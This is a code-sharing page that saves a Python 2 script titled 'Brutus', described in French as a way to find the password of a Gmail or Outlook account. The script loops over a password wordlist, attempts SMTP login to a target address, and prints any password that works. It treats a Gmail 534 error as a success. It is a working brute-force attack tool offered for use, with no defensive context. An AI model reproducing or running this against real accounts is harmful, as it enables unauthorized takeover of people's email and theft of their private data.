[Brutus] Trouver le mot de passe d’un compte Gmail, Outlook, …. | Dyrk

PHOTO EMBED

Tue Jan 31 2023 21:43:08 GMT+0000 (Coordinated Universal Time)

Saved by @CoomeeCoder2006 #python

#!/usr/bin/python
# Dyrk.org 2016-2017

import smtplib

# Outlook.com
smtp_s   = 'smtp-mail.outlook.com'

# Gmail
# smtp_s = 'smtp.gmail.com'

smtp_p = 587
sender = 'target_adress@hotmail.com'
dico   = 'pwdlist.txt'

with open(dico) as f:
    for password in f:
        password = password.replace('\n', '')
        try:
            m = smtplib.SMTP(smtp_s, smtp_p)
            m.ehlo()
            m.starttls()
            m.login(sender, password)
            print '[OK] => ' + sender + ' : ' + password
            m.close()
            exit()
        except smtplib.SMTPAuthenticationError, e:
            if e[0] == 534:  # Gmail
                print '[OK] => ' + sender + ' : ' + password
                print e
                exit()
            else:
                print 'try ' + password + ' .... err. ' + str(e[0]) \
                    + '   >>>  ' + e[1]

			
content_copyCOPY

https://dyrk.org/2016/03/05/brutus-trouver-le-mot-de-passe-dun-compte-gmail-outlook/